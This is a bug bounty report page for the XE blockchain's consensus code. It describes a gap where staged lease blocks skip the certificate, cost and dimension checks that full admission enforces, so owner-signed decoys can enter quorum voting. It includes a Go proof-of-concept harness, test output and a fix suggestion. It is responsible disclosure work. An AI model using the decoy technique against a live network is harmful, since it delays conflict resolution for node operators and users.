<!-- XE-0028 · core: staged-block validation accepts lease blocks that full admission rejects, arming quorum decoys (Medium) · testnet -->
*Markdown view of <https://bounty.xe.network/XE-0028>. The page is the record; this is the same page for reading.*

XE-0028 · Bounty

# core: staged-block validation accepts lease blocks that full admission rejects, arming quorum decoys (Medium)

Accepted
claimed Medium
[xe#52](https://github.com/xeprotocol/xe/issues/52)
filed 2026-10-25 11:12 UTC
by byfor8

Verdict
:   published when the fix ships

Tier
:   published when the fix ships

Claimed
:   Medium

Area
:   Consensus

Duplicate of
:   —

Tracked
:   internally

Updated
:   2026-11-10 11:38 UTC

Told
:   2026-11-10 00:15 UTC

### Patches

- [xe#129](https://github.com/xeprotocol/xe/pull/129) open by arturbarszcz78
  fix(core): validate lease dimensions, certificate, and cost for staged blocks (#52)

### History

- [61405](https://bounty.xe.network/log/61405) 2026-11-10 00:15 UTC reply.mirrored
- [61362](https://bounty.xe.network/log/61362) 2026-11-10 00:15 UTC reply.sent
- [15413](https://bounty.xe.network/log/15413) 2026-11-06 21:28 UTC proposal.adopted
- [15412](https://bounty.xe.network/log/15412) 2026-11-06 21:28 UTC ticket.award
- [15411](https://bounty.xe.network/log/15411) 2026-11-06 21:28 UTC proposal.rejected
- [6874](https://bounty.xe.network/log/6874) 2026-11-05 13:45 UTC proposal.created
- [1798](https://bounty.xe.network/log/1798) 2026-11-02 19:16 UTC proposal.created
- [1453](https://bounty.xe.network/log/1453) 2026-11-02 10:11 UTC note.added
- [681](https://bounty.xe.network/log/681) 2026-10-29 14:22 UTC note.added
- [680](https://bounty.xe.network/log/680) 2026-10-29 14:22 UTC ticket.facts area
- [590](https://bounty.xe.network/log/590) 2026-10-29 14:04 UTC github.labels
- [540](https://bounty.xe.network/log/540) 2026-10-29 14:04 UTC note.added

[Full history](https://bounty.xe.network/log?ref=XE-0028) · [JSON](https://bounty.xe.network/v1/tickets/XE-0028) · [markdown](https://bounty.xe.network/XE-0028.md)

### Report

## Summary

ValidateStagedBlock for lease-family blocks checks only amount and balance arithmetic, while full admission additionally requires a valid perf certificate, correct lease cost, dimensions, expiry and provider binding. A conflicting owner-signed lease with a plausible amount/balance pair therefore stages cleanly, enters the candidate set, and makes representatives vote on a body that can never be promoted, delaying conflict resolution.

## Affected component

core/ledger.go, ValidateStagedBlock lease arms at lines 2779 to 2832 (amount and balance only) versus validateAndAddLease at lines 1506 onward (certificate, cost, dimensions), at commit 978785929bc17a2f4ab30c383e5fc9cf4d634512.

## Impact

One owner-signed decoy per conflict per staged slot: representatives waste votes on unpromotable bodies and each bad promotion attempt burns a 30 second quarantine. This is also the enabler that makes quorum substitution exploitable with an owner-signed decoy. Owner-only (needs the account's own signature), promotion still full-validates, so no theft and no admission bypass on its own.

Suggested severity: Medium (validation gap). Confirmed by read-only source review with an in-process harness.

## PoC

## PoC

Setup (from a fresh clone of xeprotocol/xe at the pin):

```
git clone https://github.com/xeprotocol/xe && cd xe
mkdir -p poc/harness
# save the two files below, then from poc/:
GOTOOLCHAIN=auto go mod tidy
GOTOOLCHAIN=auto go test -count=1 -v ./poc
```

go.mod for the poc module:

```
module poc

go 1.25.0

require github.com/xeprotocol/xe v0.0.0

replace github.com/xeprotocol/xe => ..
```

**Shared test-only helper** (`poc/harness/harness.go`; constructs signed blocks and funds accounts through the ledger's own test-only entry points, none reachable from gossip or API):

```
// Package harness holds test-only helpers for local XE ledger PoCs.
// None of these helpers exist on the gossip/API surface; they only
// construct signed blocks and fund accounts via core.SeedAssetForTesting /
// core.MintForTesting.
package harness

import (
	"fmt"

	"github.com/xeprotocol/xe/core"
	"github.com/xeprotocol/xe/store"
)

const TestOnlyFundAmount uint64 = 1_000_000_000

// NewTestLedger builds a MemStore-backed ledger with PoW and timestamp
// windows disabled so the PoC can drive admission/conflict logic.
func NewTestLedger() (*core.Ledger, *store.MemStore) {
	core.SetNetworkID("")
	ms := store.NewMemStore()
	l := core.NewLedger(ms, core.LedgerConfig{
		Difficulty:      0,
		TimestampWindow: 0,
	})
	return l, ms
}

// TestOnlyFundAccount opens a new account with a signed mint block.
// Named TestOnly: this is the ledger's own test funding entry point, not a
// production mint path.
func TestOnlyFundAccount(l *core.Ledger, kp *core.KeyPair, asset string, amount uint64) (*core.Block, error) {
	if amount == 0 {
		amount = TestOnlyFundAmount
	}
	b := &core.Block{
		Type:           core.BlockMint,
		Account:        kp.Address(),
		Previous:       "0",
		Balance:        amount,
		Amount:         amount,
		Timestamp:      core.Now().UnixNano(),
		Asset:          asset,
		PubKey:         kp.PubKeyHex(),
		Representative: kp.Address(),
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, fmt.Errorf("test-only fund: sign: %w", err)
	}
	var err error
	if asset == "XUSD" {
		err = l.MintForTesting(b)
	} else {
		err = l.SeedAssetForTesting(b)
	}
	if err != nil {
		return nil, fmt.Errorf("test-only fund: %w", err)
	}
	return b, nil
}

// TestOnlyFinalizeHeight writes a final-height watermark. Test-only: the
// production path is QuorumManager.confirmConflict.
func TestOnlyFinalizeHeight(ms *store.MemStore, account string, height uint64) error {
	return ms.SetFinalHeight(account, height)
}

func SignSend(kp *core.KeyPair, previous string, balance, amount uint64, dest, asset string) (*core.Block, error) {
	b := &core.Block{
		Type:        core.BlockSend,
		Account:     kp.Address(),
		Previous:    previous,
		Balance:     balance,
		Amount:      amount,
		Timestamp:   core.Now().UnixNano(),
		Asset:       asset,
		Destination: dest,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}

func SignLease(kp *core.KeyPair, previous string, balance, amount uint64, dest, certHash string, vcpus, mem, disk, dur uint64) (*core.Block, error) {
	b := &core.Block{
		Type:            core.BlockLease,
		Account:         kp.Address(),
		Previous:        previous,
		Balance:         balance,
		Amount:          amount,
		Timestamp:       core.Now().UnixNano(),
		Asset:           "XUSD",
		Destination:     dest,
		VCPUs:           vcpus,
		MemoryMB:        mem,
		DiskGB:          disk,
		Duration:        dur,
		CertificateHash: certHash,
	}
	if err := core.SignBlock(b, kp); err != nil {
		return nil, err
	}
	return b, nil
}
```

**Test file** (`poc/f16_test.go`):

```
package f16

import (
	"fmt"
	"os"
	"testing"

	"github.com/xeprotocol/xe-poc/harness"
	"github.com/xeprotocol/xe/core"
)

// TestPoC_F16 shows ValidateStagedBlock accepts an owner-signed lease that
// full admission (AddBlock on the empty frontier / SwapBlock) rejects:
// no certificate, no dimensions, no cost check.
func TestPoC_F16(t *testing.T) {
	pass, detail := runF16()
	if pass {
		fmt.Println("PASS: F16 staged lease validation is weaker than admission")
		fmt.Println(detail)
		return
	}
	fmt.Println("FAIL: F16 expected staged-accept / full-reject split")
	fmt.Println(detail)
	os.Exit(0)
}

func runF16() (bool, string) {
	owner, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen: " + err.Error()
	}
	dest, err := core.GenerateKeyPair()
	if err != nil {
		return false, "keygen dest: " + err.Error()
	}
	l, _ := harness.NewTestLedger()
	open, err := harness.TestOnlyFundAccount(l, owner, "XUSD", harness.TestOnlyFundAmount)
	if err != nil {
		return false, "test-only fund: " + err.Error()
	}

	sendA, err := harness.SignSend(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), "XUSD")
	if err != nil {
		return false, "sign send: " + err.Error()
	}
	if err := l.AddBlock(sendA); err != nil {
		return false, "add send: " + err.Error()
	}

	decoy, err := harness.SignLease(owner, open.Hash, harness.TestOnlyFundAmount-1, 1, dest.Address(), "", 0, 0, 0, 0)
	if err != nil {
		return false, "sign decoy: " + err.Error()
	}
	parentBal := l.GetAssetBalanceAtBlock(owner.Address(), "XUSD", open.Hash)
	stagedErr := l.ValidateStagedBlock(decoy, parentBal)
	addErr := l.AddBlock(decoy) // conflict path: only ValidateStagedBlock
	swapErr := l.SwapBlock(owner.Address(), sendA.Hash, decoy.Hash, decoy)

	staged := l.GetBlockOrStaged(decoy.Hash)
	onChain := l.GetBlock(decoy.Hash)

	detail := fmt.Sprintf(
		"parent_balance=%d decoy.amount=%d decoy.balance=%d\n"+
			"ValidateStagedBlock err=%v\n"+
			"AddBlock (conflict/stage) err=%v staged=%v on_chain=%v\n"+
			"SwapBlock/full admission err=%v",
		parentBal, decoy.Amount, decoy.Balance,
		stagedErr, addErr, staged != nil, onChain != nil, swapErr,
	)
	ok := stagedErr == nil && addErr == nil && staged != nil && onChain == nil && swapErr != nil
	return ok, detail
}
```

**Run** (run 1 of 5 consecutive runs, 5/5 PASS, exit 0):

```
=== RUN   TestPoC_F16
2026/10/25 17:32:08 Genesis block applied: 42000000000000 XE to 378d0f5c2063...
PASS: F16 staged lease validation is weaker than admission
parent_balance=1000000000 decoy.amount=1 decoy.balance=999999999
ValidateStagedBlock err=<nil>
AddBlock (conflict/stage) err=<nil> staged=true on_chain=false
SwapBlock/full admission err=SwapBlock: winner failed full validation edc3bdb318ab..., loser kept: lease must request at least one resource (vcpus, memory, or disk)
--- PASS: TestPoC_F16 (0.00s)
PASS
ok  	github.com/xeprotocol/xe-poc/f16	0.011s
```

## Fix suggestion

Route staged lease-family blocks through the same certificate, cost and dimension checks as admission (share the validator core, skip only chain-position checks).

### Thread

**XE desk**team2026-11-10 00:15 UTCgithub

Read and accepted. It is tracked internally and the fix will land in a public PR; this issue is
updated when it does, and the tier and award follow the fix. The desk entry is https://bounty.xe.network/XE-0028.
